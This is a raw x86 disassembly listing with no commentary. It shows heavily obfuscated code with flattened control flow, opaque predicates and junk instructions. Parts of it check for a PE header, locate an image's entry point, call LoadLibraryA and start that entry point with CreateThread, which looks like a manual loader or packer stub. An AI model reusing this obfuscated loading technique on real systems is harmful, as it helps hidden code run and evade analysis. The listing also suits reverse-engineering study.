ror esi, 0x6c
add edx, 0x88
inc eax
not eax
bswap edi
inc ebx
or edx, 0xfa
rcr eax, 0x6a
mov edx, 0x27
dec ebx
imul edx
rcr edi, 0xcb
not esi
neg esi
dec eax
rcl eax, 0x47
rol esi, 0x26
neg esi
ror eax, 0x7d
add edx, 0xf9
sub ebx, 0x37
neg eax
neg ebx
rcl edi, 0x28
bswap edi
imul edx
inc edi
mov edi, 0x8b
rcl eax, 0x1a
imul edx
mov eax, 0x52
rcl ebx, 0x67
ror eax, 0x22
sub ebx, 0x4e
inc edi
neg edi
neg edx
add edi, 0x52
rcl eax, 0x88
imul esi
and edx, 0xc9
neg ebx
or edx, 0x3f
neg edx
rcr ebx, 0x1f
bswap esi
imul ebx
dec edi
sbb edi, 0xa4
dec eax
mov edx, 0x83
not ebx
imul edi
neg esi
sub edx, 0x70
or edx, 0xf3
rcl edi, 0x4f
mov ebx, 0x83
dec esi
sbb ebx, 0x31
sub eax, 9
not edi
ror eax, 0xe5
or ebx, 0xe8
neg eax
or edx, 0x42
rcr eax, 0xab
rcl esi, 0xf6
imul ebx
add edi, 0x7c
add ebx, 0xad
neg esi
rcl edi, 0x92
dec eax
rcr edx, 0xae
dec edi
rcr eax, 0xab
mov esi, 0x2a
rcr edi, 0x93
dec ebx
sub eax, 0xd9
neg esi
mov edi, 0x47
imul edx
imul edx
bswap edi
or edi, 0xdf
rcr ebx, 0x44
sub edx, 0xb7
neg edi
rcr edx, 0x2d
inc eax
rol eax, 0x69
bswap eax
sub esi, 0x8d
inc edi
sub edi, 0x7b
and ebx, 0x78
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x28]
mov dword [ebp - 0x158], eax
mov eax, 0x75544608
jmp 0x402900
cmp eax, 0x6daef7dc
je 0x411416
cmp eax, 0x6dddd46d
je 0x411462
cmp eax, 0x6e6c67e3
jne 0x402900
mov eax, 0xad9386c8
jmp 0x402900
cmp eax, 0xeb846185
je 0x41152a
cmp eax, 0xec42d51c
je 0x41165d
cmp eax, 0xec583015
jne 0x402900
mov eax, dword [ebp - 0x30]
mov ecx, dword [0x460984]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x144], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x457e4e31
mov ecx, eax
xor ecx, 0xcf7c983c
and edx, 0xba81b1ce
andn ecx, eax, ecx
or edx, esi
mov eax, edx
mov esi, edx
xor eax, 0xba81b1ce
xor esi, 0x75fd29f2
xor edx, 0x53a0600
and esi, eax
and edx, 0x9d3bb60e
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x308367c2
and esi, 0xcf7c983d
or ecx, esi
mov esi, eax
and esi, 0x62c449f1
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0x1c021209
xor esi, 0x200409f0
or eax, edx
and esi, 0xa13dadf6
and eax, 0x5ec25209
or eax, esi
mov esi, 0xba5633a
xor eax, 0x5ec25209
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe0828203
and ecx, 0x1f7d7dfc
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x282de745
and ecx, 0xd7d218ba
or eax, ecx
mov ecx, eax
xor ecx, 0x30500291
xor eax, 0x48002542
and ecx, 0xb0ff4295
and eax, 0x4f00bd6a
or eax, ecx
mov ecx, eax
xor ecx, 0x908a4280
xor eax, 0x400110a
and eax, 0x2475111f
and ecx, 0xdb8aeee0
or ecx, eax
cmp ecx, 0xdb8aeee0
setne al
cmp dword [0x460980], 0xa
mov edx, eax
setge cl
xor al, cl
or dl, cl
xor al, 1
mov ecx, edx
or cl, al
xor al, dl
mov edx, ecx
xor dl, al
test al, al
mov eax, 0xdc18a97d
cmovne eax, esi
test cl, cl
mov ecx, 0xdc18a97d
cmovne eax, ecx
jmp 0x411eb5
cmp eax, 0x38ac5d34
je 0x411697
cmp eax, 0x38d3a611
je 0x4116a1
cmp eax, 0x3b956fc0
jne 0x402900
mov eax, dword [ebp - 0xb4]
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x8f600451
mov esi, eax
mov edi, eax
or esi, 0x6001ba2a
and edx, 0xef61be7b
and edi, 0x960084
and eax, 0x3f21df71
or edi, edx
mov edx, ecx
and esi, 0xef61be7b
and edx, 0x10084100
and ecx, 0xc0de208e
or edx, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x105288e1
and esi, 0xefad771e
or edx, esi
mov esi, edx
xor esi, 0x30011240
xor edx, 0x8f3acdb1
mov edi, edx
and edi, 0xc0de208e
and esi, 0x3f21df71
or esi, edi
xor eax, esi
not eax
or eax, edx
cmp eax, 0xffffffff
setne dh
cmp dword [0x460980], 0xa
mov cl, dh
mov bl, dh
setge ch
setl ah
inc cl
mov dl, cl
mov al, ch
or cl, ah
and dl, dh
xor al, dh
xor dl, 1
and al, ah
xor bl, dl
or dl, dh
or dh, ah
xor al, 1
xor dl, 1
mov bh, dh
or dl, bl
xor bh, al
or al, dh
and ch, dl
xor dl, 1
xor al, 1
and dl, ah
or al, bh
or dl, ch
xor dl, 1
mov ah, dl
or dl, cl
xor ah, cl
xor dl, 1
or dl, ah
mov ecx, edx
xor cl, 1
mov ah, cl
and ah, dl
xor ah, 1
mov ch, ah
or ah, dl
xor ch, dl
xor ah, 1
mov edx, eax
or ah, ch
xor dl, 1
and dl, ah
xor ah, 1
and ah, al
or ah, dl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov edx, 0xd24af9da
mov al, cl
xor al, ah
test cl, 1
mov ecx, 0xc6b9a6b0
cmovne ecx, edx
test ah, 1
cmove ecx, edx
test al, 1
mov eax, 0xc6b9a6b0
jmp 0x4104ca
cmp eax, 0x998e133f
je 0x411797
cmp eax, 0x9a401b3e
je 0x4117ac
cmp eax, 0x9b14ffb2
jne 0x402900
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x98]
mov eax, 0x708b720
jmp 0x402900
cmp eax, 0x5e2a3958
je 0x4117c4
cmp eax, 0x5e88cec1
je 0x4117dd
cmp eax, 0x5f7b258e
jne 0x402900
mov eax, 0x315340eb
jmp 0x402900
cmp eax, 0xe15cd385
je 0x41182a
cmp eax, 0xe18e2c3f
je 0x4119af
cmp eax, 0xe1a73956
jne 0x402900
mov eax, dword [ebp - 0x34]
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
andn ecx, edx, edx
not edx
and eax, 0x53c24ff0
and edx, 0xac3db00f
or eax, edx
mov edx, eax
xor edx, 0x13c240c0
xor eax, 0xac3db00f
mov esi, eax
and esi, 0xcc2c0f32
and edx, 0x33d3f0cd
or edx, esi
mov esi, ecx
not esi
and ecx, 0x33d3f0cd
or eax, esi
and esi, 0xcc2c0f32
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0xd36adc2d
and eax, 0xe79bb1ae
mov ecx, esi
and esi, 0x2c9523d2
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x18644e51
or eax, esi
mov esi, edx
xor esi, 0xc30a902c
xor edx, 0x2c9523d3
or ecx, edx
and edx, 0x18644e51
and esi, 0xe79bb1ae
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0x2c1f7734
mov eax, ecx
not eax
and ecx, 0xd27d420b
and eax, 0x2d82bdf4
or eax, ecx
mov ecx, eax
xor ecx, 0x902ad80
xor eax, 0x2244002
and eax, 0x26a45076
and ecx, 0xd95baf89
or ecx, eax
xor ecx, 0xd95baf89
sete ch
setne ah
cmp dword [0x460980], 0xa
mov dh, ch
setl dl
setge cl
mov al, dl
and dl, ah
or dh, cl
xor al, ch
and ch, cl
mov bl, dh
and al, cl
or dl, ch
mov ch, cl
or cl, ah
xor al, 1
xor ch, ah
xor cl, 1
or cl, ch
xor bl, al
or al, dh
xor al, 1
xor cl, 1
or al, bl
or cl, dl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x8440d8f7
cmovne ecx, esi
test al, 1
mov eax, 0x8440d8f7
jmp 0x412955
cmp eax, 0x1bdb680d
je 0x411a67
cmp eax, 0x1c87ba4d
je 0x411b6a
cmp eax, 0x1c90df89
jne 0x402900
cmp byte [ebp - 0xaa], 0
mov eax, 0x7e401665
mov ecx, 0xb26f1710
cmovne eax, ecx
jmp 0x402900
cmp eax, 0xba8a8277
je 0x411cd0
cmp eax, 0xbab09a44
je 0x411cda
cmp eax, 0xbaf37dfc
jne 0x402900
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xa
mov eax, 0x859677a0
jmp 0x402900
cmp eax, 0x79dd7ff3
je 0x411ce4
cmp eax, 0x7a4064ac
je 0x411ddc
cmp eax, 0x7a7176dd
jne 0x402900
mov eax, dword [ebp - 0x110]
push dword [eax]
push dword [ebp - 0x10c]
push dword [ebp - 0x108]
vzeroupper
call fcn.0042fd70
add esp, 0xc
mov eax, 0xce378fca
jmp 0x402900
cmp eax, 0xfaf79bc3
je 0x411dfa
cmp eax, 0xfb0b52a5
je 0x411ebf
cmp eax, 0xfbdd84b7
jne 0x402900
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
cmp dword [eax], 0x4550
mov eax, dword [0x460984]
lea ecx, [eax + 1]
setne byte [ebp - 0x9b]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x2900080
mov edx, eax
and edx, 0x60410a16
and eax, 0x9d2ef569
or ecx, edx
xor ecx, 0x2900080
or eax, ecx
mov ecx, eax
xor ecx, 0x3145e3ad
mov edx, eax
and edx, 0x63d5580e
and ecx, eax
not eax
and eax, 0x9c2aa7f1
or edx, eax
mov eax, edx
mov esi, edx
xor eax, 0x63d5580e
xor esi, 0xad6f445c
xor edx, 0xc20a2b1
and esi, eax
and edx, 0xd70e2b7
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x3145e3ac
and esi, 0xceba1c53
or ecx, esi
mov esi, eax
and esi, 0xf28f1d48
and eax, 1
or esi, edx
xor esi, 0xd70e2b6
or eax, esi
mov esi, 0x456f9830
mov edx, eax
not edx
and eax, 0xe64b3654
and edx, 0x19b4c9ab
or eax, edx
xor eax, 0xe64b3654
or eax, ecx
mov ecx, eax
xor ecx, 0x94c40a1d
and ecx, eax
not eax
and eax, 0x94c40a1d
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xad7a3930
and eax, 0x5285c6cf
or ecx, eax
xor ecx, 0x39be332d
setne dl
sete ah
cmp dword [0x460980], 0xa
setl cl
setge al
mov ch, cl
or dl, cl
or cl, ah
or al, ah
xor ch, ah
xor cl, 1
xor dl, 1
xor al, 1
or al, dl
or cl, ch
mov edx, eax
mov ah, cl
and al, cl
xor dl, 1
not ah
or cl, dl
and dl, ah
or dl, al
mov ch, cl
mov eax, 0x21832afc
xor ch, dl
test dl, 1
mov edx, 0x21832afc
cmovne eax, esi
test cl, cl
cmovne eax, edx
jmp 0x40a8cb
cmp eax, 0x228137cb
je 0x411ed2
cmp eax, 0x22e719aa
je 0x411f62
cmp eax, 0x23814d00
jne 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x8b572a8a
mov esi, ecx
and esi, 0x74a8d574
and ecx, 0xd9cd26a3
or edx, esi
mov esi, edx
xor esi, 0x8a020082
xor edx, 0x40281160
and edx, 0x417d3b68
and esi, 0xbe82c496
or esi, edx
mov edx, eax
or edx, 0x417d3b68
and eax, 0x2632d95c
and edx, 0x417d3b69
or eax, ecx
mov ecx, eax
xor edx, esi
xor ecx, 0x2632d95c
xor eax, 0xd9cd26a3
andn ecx, edx, ecx
and eax, edx
not edx
or eax, ecx
xor edx, eax
test edx, eax
setne cl
sete dl
cmp dword [0x460980], 0xa
mov ch, cl
setl ah
setge al
or cl, ah
and ch, al
and ah, dl
or ah, ch
xor cl, 1
mov dh, ah
xor dh, al
or al, dl
and dh, ah
xor al, 1
mov dl, dh
or al, cl
xor dl, 1
mov ecx, eax
mov ch, dl
xor cl, 1
and ch, dh
mov ah, cl
or cl, dl
xor ch, 1
and ah, al
or ch, dh
xor ah, 1
mov dh, al
xor ch, 1
xor dh, ah
or ah, al
or ch, dl
xor ah, 1
mov al, ch
or ah, dh
mov edx, 0x358999be
xor al, 1
and al, ah
xor ah, 1
and ah, ch
or ah, al
mov al, cl
xor al, ah
test cl, cl
mov ecx, 0xeb846185
cmovne ecx, edx
test ah, 1
cmove ecx, edx
test al, 1
mov eax, 0xeb846185
jmp 0x4104ca
cmp eax, 0x8590f9e5
je 0x411f6c
cmp eax, 0x859677a0
je 0x411fae
cmp eax, 0x85a02f25
jne 0x402900
cmp byte [ebp - 0xa8], 0
mov eax, 0x9142889d
mov ecx, 0x6aacd0c7
cmovne eax, ecx
jmp 0x402900
cmp eax, 0x4a3e4679
je 0x41208d
cmp eax, 0x4b326695
jne 0x402900
cmp byte [ebp - 0xa1], 0
mov eax, 0x1bdb680d
mov ecx, 0xe7b13efb
cmovne eax, ecx
jmp 0x402900
cmp eax, 0xc9e384bf
je 0x412114
cmp eax, 0xca25e049
jne 0x402900
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x460984]
mov eax, dword [eax]
mov dword [ebp - 0x168], eax
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov ecx, eax
mov edx, eax
xor edx, 0x15d4d71c
or ecx, 0xea2b28e3
mov edi, ecx
and edx, eax
and edi, 0x828b8b0c
and esi, 0x15545410
or esi, edi
mov edi, edx
not edi
and edx, 0x7d7474f3
or ecx, edi
and edi, 0x828b8b0c
or edx, edi
not ecx
mov edi, 0xf62aae04
xor edx, esi
mov esi, 0xf62aae04
or ecx, edx
not edx
and edx, 0xea2b28e2
and ecx, 0x15d4d71d
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
sete al
setne dl
cmp dword [0x460980], 0xa
setl ah
setge cl
and al, cl
and ah, dl
or cl, dl
or al, ah
mov ch, cl
mov edx, eax
not ch
and al, cl
xor dl, 1
or cl, dl
and dl, ch
or dl, al
mov eax, ecx
xor al, dl
mov eax, 0x143a497a
cmovne esi, eax
test dl, dl
mov eax, esi
cmovne eax, edi
test cl, cl
cmovne eax, esi
jmp 0x402900
cmp eax, 0x98f96c6
je 0x4121fc
cmp eax, 0xa0eff79
jne 0x402900
mov eax, dword [ebp - 0x188]
cmp eax, dword [ebp - 0x18c]
mov eax, 0x24d0087e
setl byte [ebp - 0x9f]
jmp 0x402900
cmp eax, 0xa642839e
je 0x41222d
cmp eax, 0xa686c6fd
jne 0x402900
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xee8d1731
and ecx, 0x1ad02e42
mov esi, eax
and esi, 0x1172e8ce
and eax, 0xe52fd1bd
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0xd055551a
and esi, 0x2faaaae5
or edx, esi
mov esi, edx
xor esi, 0xc1279195
xor edx, 0x3ed8422a
mov edi, edx
and edi, 0x1ad02e42
and esi, 0xe52fd1bd
or esi, edi
xor eax, esi
mov esi, 0xe2f56e5d
xor edx, eax
test edx, eax
setne cl
sete dl
cmp dword [0x460980], 0xa
setge ah
setl al
mov ch, ah
and cl, al
xor al, dl
xor ch, dl
and dl, ah
and ch, ah
or cl, dl
or al, ch
mov edx, ecx
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x4c01d3da
cmovne ecx, esi
test al, 1
mov eax, 0x4c01d3da
jmp 0x40e473
cmp eax, 0x6aacd0c7
je 0x412395
cmp eax, 0x6c1a2f1e
jne 0x402900
mov eax, dword [ebp - 0x58]
mov eax, dword [eax]
mov dword [ebp - 0x118], eax
mov eax, dword [ebp - 0x54]
add eax, 4
mov dword [ebp - 0x11c], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 1
and ecx, 0xe06980c0
mov esi, eax
and esi, 0xfffffffe
and eax, 0x1f967f3f
or edx, esi
or eax, ecx
mov esi, edx
not esi
and edx, 0x1f967f3f
mov edi, esi
and edi, 0xe06980c0
or edx, edi
xor eax, edx
not eax
or eax, esi
mov esi, 0x2bdcd932
cmp eax, 0xffffffff
setne al
cmp dword [0x460980], 0xa
mov ah, al
setl dl
setge cl
or cl, al
xor al, dl
or ah, dl
not al
xor ah, 1
and al, dl
mov edx, ecx
or al, ah
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xa3705abf
cmovne ecx, esi
test al, al
mov esi, 0xa3705abf
jmp 0x410219
cmp eax, 0xe93fee4f
je 0x412436
cmp eax, 0xe945d348
jne 0x402900
mov eax, 0xc3103d25
jmp 0x402900
cmp eax, 0x358999be
je 0x412564
cmp eax, 0x37026f10
jne 0x402900
mov eax, dword [ebp - 0x124]
mov eax, 0x812127dd
jmp 0x402900
cmp eax, 0x917ab4db
je 0x41257a
cmp eax, 0x94904188
jne 0x402900
mov eax, dword [ebp - 0x24]
mov dword [eax], 5
mov eax, 0x3cf8dfb8
jmp 0x402900
cmp eax, 0x5b1d9048
je 0x4125c6
cmp eax, 0x5b8eb7f5
jne 0x402900
mov eax, 0xa642839e
jmp 0x402900
cmp eax, 0xdc18a97d
je 0x4125d0
cmp eax, 0xdd3ccfc7
jne 0x402900
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
andn eax, edx, edx
not edx
and ecx, 0xeeff1db4
and edx, 0x1100e24b
or ecx, edx
mov edx, ecx
xor edx, 0x221b08a0
xor ecx, 0x1100e24b
mov esi, ecx
and esi, 0xcde4f557
and edx, 0x321b0aa8
or edx, esi
mov esi, eax
not esi
and eax, 0x321b0aa8
or ecx, esi
and esi, 0xcde4f557
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edx, ecx
xor edx, 1
mov eax, ecx
not eax
and edx, ecx
and eax, 0x410b3c08
and ecx, 0xbef4c3f7
or ecx, eax
mov eax, edx
not eax
and edx, 0x156f4988
mov esi, eax
and esi, 0xea90b677
or edx, esi
mov esi, ecx
xor esi, 0x14644180
xor ecx, 0x410b3c09
or eax, ecx
and ecx, 0xea90b677
and esi, 0x156f4988
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xe8ee43b0
and eax, 0x800202
mov edx, ecx
and edx, 0x1711bc4f
or ecx, 0x2a040890
or esi, edx
and ecx, 0xef57f890
mov edx, esi
xor esi, 0x2000800
xor edx, 0x280120
or eax, ecx
or esi, 0xc553f000
and edx, 0x1028056d
and esi, 0xef57f890
or edx, esi
mov esi, 0xb75074f0
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x3a2c0dfd
and ecx, 0xc5d3f202
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf881d802
and ecx, 0x77e27fd
or ecx, eax
mov eax, ecx
xor eax, 0x818800
xor ecx, 0x1625e8
and ecx, 0xf81675ea
and eax, 0x7e98a15
or eax, ecx
cmp eax, 0x7e98a15
setne cl
cmp dword [0x460980], 0xa
setge al
mov edx, eax
or al, cl
xor dl, cl
mov ecx, eax
xor cl, 1
and al, dl
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0xf6c04e2
jmp 0x40c4ca
cmp eax, 0x1827ce88
je 0x4125dd
cmp eax, 0x18767d0f
jne 0x402900
push 0
push 0
push 0
push dword [ebp - 0x158]
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xbc]
mov dword [ecx], eax
mov eax, dword [ebp - 0xb8]
mov ecx, dword [0x460984]
cmp byte [eax], 0
lea eax, [ecx + 1]
setne byte [ebp - 0xaa]
imul eax, ecx
mov esi, eax
not esi
mov edi, eax
and edi, 0x34022800
mov edx, eax
and edx, 0xcbfd81fb
and eax, 0x3f4419fc
mov ecx, esi
and ecx, 0x5604
and esi, 0xc0bbe603
or edi, ecx
or eax, esi
xor edi, 0x34022800
or edx, edi
mov ecx, edx
not ecx
and edx, 0x5fc7ecb1
and ecx, 0xa038134e
or edx, ecx
mov ecx, edx
xor edx, 0x186d03
xor ecx, 0x6bc592b4
mov esi, ecx
and esi, 0xffa282dc
and edx, 0x5d7d23
or edx, esi
mov esi, eax
xor esi, 0x441920
xor eax, 0xc0bbe603
or ecx, eax
and eax, 0xffa282dc
and esi, 0x5d7d23
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x98f96c6
mov eax, ecx
not eax
and ecx, 0x3d895829
and eax, 0xc276a7d6
or ecx, eax
xor ecx, 0x3d895829
sete ah
setne ch
cmp dword [0x460980], 0xa
mov al, ah
setl cl
setge dl
xor al, cl
xor ch, dl
or dl, ah
or cl, ah
and al, ah
xor cl, 1
xor al, 1
or cl, ch
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
mov ch, ah
xor ah, cl
and dl, al
xor ch, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, ch
mov ch, dl
xor dl, 1
and dl, cl
xor cl, 1
or al, cl
and ch, cl
xor al, 1
or dl, ch
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x1c90df89
cmovne ecx, esi
test al, 1
mov eax, 0x1c90df89
jmp 0x412955
cmp eax, 0xb75074f0
je 0x4126f6
cmp eax, 0xb7c142b6
jne 0x402900
mov eax, 0xb7ecf5a7
jmp 0x402900
cmp eax, 0x78d7c9ce
je 0x4127e9
cmp eax, 0x78d7ece4
jne 0x402900
mov eax, dword [ebp - 0x194]
add eax, dword [ebp - 0x1a0]
mov ecx, dword [ebp - 0xe4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0xe4]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
mov ecx, 0x87b1cfc4
mov eax, dword [ebp - 0x74]
cmp dword [eax], 0
mov eax, 0x15c175c7
cmove eax, ecx
jmp 0x402900
cmp eax, 0xf894142f
je 0x412963
cmp eax, 0xf8b8a494
jne 0x402900
mov eax, 0x6dddd46d
jmp 0x402900
cmp eax, 0x3017a164
je 0x412a72
cmp eax, 0x3023c18b
jne 0x402900
mov eax, 0x829c8611
jmp 0x402900
cmp eax, 0x8c13864f
je 0x412b82
cmp eax, 0x8c4779f3
jne 0x402900
mov eax, dword [ebp - 0x18]
mov ecx, dword [0x460984]
mov eax, dword [eax]
add eax, 0x34
mov dword [ebp - 0x100], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 0x40294206
not ecx
and eax, 0x90460001
mov esi, ecx
and edx, 0x6239caa6
and esi, 0xd803558
or esi, edx
mov edx, ecx
or edx, 0x221088a0
and edx, 0x6239caa6
or eax, edx
xor eax, esi
mov esi, 0xbc743514
mov edx, eax
not edx
and eax, 0x2f90bdf9
and edx, 0xd06f4206
or eax, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xf2eaaa74
and ecx, 0xd15558b
or eax, ecx
cmp eax, 0xf2eaaa74
setne al
cmp dword [0x460980], 0xa
setge cl
mov edx, ecx
or cl, al
xor dl, al
mov eax, ecx
xor al, dl
xor dl, 1
or dl, cl
mov ebx, eax
xor bl, dl
test al, al
mov eax, 0x67fc8cf0
cmovne eax, esi
test dl, dl
mov edx, 0x67fc8cf0
cmovne eax, esi
test bl, bl
cmovne eax, edx
jmp 0x402900
cmp eax, 0x530c5417
je 0x412b8c
cmp eax, 0x535c31b1
jne 0x402900
mov eax, 0x889bb69a
jmp 0x402900
cmp eax, 0xd2fb29b4
je 0x412ba5
cmp eax, 0xd428b9f5
jne 0x402900
mov eax, dword [ebp - 0xdc]
mov eax, 0xe33c7454
jmp 0x402900
cmp eax, 0xfddca21
je 0x4136e3
cmp eax, 0x112137fa
jne 0x402900
mov eax, dword [ebp - 0x130]
mov eax, dword [ebp - 0x134]
mov eax, 0xf6762136
jmp 0x402900
cmp eax, 0xad8f07e7
je 0x4138b0
cmp eax, 0xad9386c8
jne 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x37251a78
or eax, 0x9d4c94ca
mov esi, ecx
and esi, 0xc8dae586
and eax, 0x9d4c94cb
or edx, esi
mov esi, edx
xor esi, 0x22210a30
xor edx, 0x88488482
and edx, 0x9d4c94ca
and esi, 0x62b36b34
or esi, edx
xor eax, esi
mov esi, 0x50e2800c
not eax
or eax, ecx
xor eax, 0xffffffff
sete cl
setne ch
cmp dword [0x460980], 0xa
setge dl
setl ah
mov al, dl
mov dh, dl
xor ah, cl
and al, cl
xor cl, dl
or dl, ch
inc dh
xor dl, 1
and dh, ch
or dl, ah
mov ah, cl
or al, dh
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
mov cl, ah
and cl, dl
xor ah, cl
xor cl, 1
or cl, dl
mov edx, eax
xor cl, 1
or cl, ah
mov ah, al
xor ah, 1
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
mov ah, al
or dl, ch
xor ah, cl
xor dl, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x4f1e0a5c
cmovne eax, esi
test cl, 1
mov ecx, 0x4f1e0a5c
cmovne ecx, eax
jmp 0x4104c7
cmp eax, 0x71eda77f
je 0x4138d2
cmp eax, 0x720ada30
jne 0x402900
mov eax, 0x2c4ebc1e
jmp 0x402900
cmp eax, 0xee7d5d81
je 0x4138dc
cmp eax, 0xf206af17
jne 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xef41736c
mov esi, edx
and esi, 0x10be8c92
and edx, 0x583b29e6
or ecx, esi
mov esi, ecx
xor esi, 0x8400324c
xor ecx, 0x8a8880
and ecx, 0x6bcbc9a0
and esi, 0x9434365e
or esi, ecx
mov ecx, eax
or ecx, 0x6bcbc9a0
and eax, 0xa7c4d619
and ecx, 0x6bcbc9a1
or eax, edx
xor ecx, esi
mov edx, ecx
not edx
and ecx, 0x4117917b
mov esi, edx
and esi, 0xbee86e84
or ecx, esi
mov esi, eax
xor esi, 0x1049019
xor eax, 0x18282884
and eax, 0xbee86e84
and esi, 0x4117917b
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0xe2321bb3
sete dl
setne al
cmp dword [0x460980], 0xa
setge cl
setl ah
mov ch, cl
or cl, al
xor ch, al
xor al, ah
not al
and ch, dl
mov edx, ecx
and al, ah
not dl
or al, ch
mov ah, al
and al, cl
xor ah, 1
and dl, ah
or ah, cl
mov ecx, 0x74d906c6
or dl, al
mov al, ah
xor al, dl
test ah, ah
cmovne ecx, esi
test dl, dl
cmove ecx, esi
test al, al
mov eax, 0x74d906c6
jmp 0x4104ca
cmp eax, 0x4121ee35
je 0x4139be
cmp eax, 0x4239070b
jne 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0xfed4ac2f
and eax, 0x12b53d0
or edx, eax
xor edx, 0xfed4ac2f
or ecx, edx
mov edx, ecx
xor edx, 1
mov eax, ecx
not eax
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x1bc9a71a
mov esi, eax
and esi, 0xe43658e5
or edx, esi
mov esi, ecx
not esi
and ecx, 0x1bc9a71a
or eax, esi
and esi, 0xe43658e5
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x12024020
and eax, 0xe0002080
mov edx, ecx
or edx, 0xc191459
and esi, 0x1e1b5479
and ecx, 0x1e48b06
and edx, 0x1e1b5479
or ecx, esi
mov esi, 0xba8cc05
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xca3ff35d
and ecx, 0x35c00ca2
or eax, ecx
mov ecx, eax
xor ecx, 0x1426000
xor eax, 0x38198190
and ecx, 0x166726d
and eax, 0xfe998d92
or eax, ecx
mov ecx, eax
xor ecx, 0x621040
xor eax, 0xbe118090
and eax, 0xbf15e2bd
and ecx, 0x40ea1d42
or ecx, eax
xor ecx, 0x40ea1d42
setne cl
sete al
cmp dword [0x460980], 0xa
setl dl
and al, dl
xor cl, dl
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
mov edx, 0x720ada30
cmovne edx, esi
test cl, cl
mov ecx, 0x720ada30
cmovne ecx, edx
jmp 0x412081
cmp eax, 0x9dca1e8f
je 0x413ad6
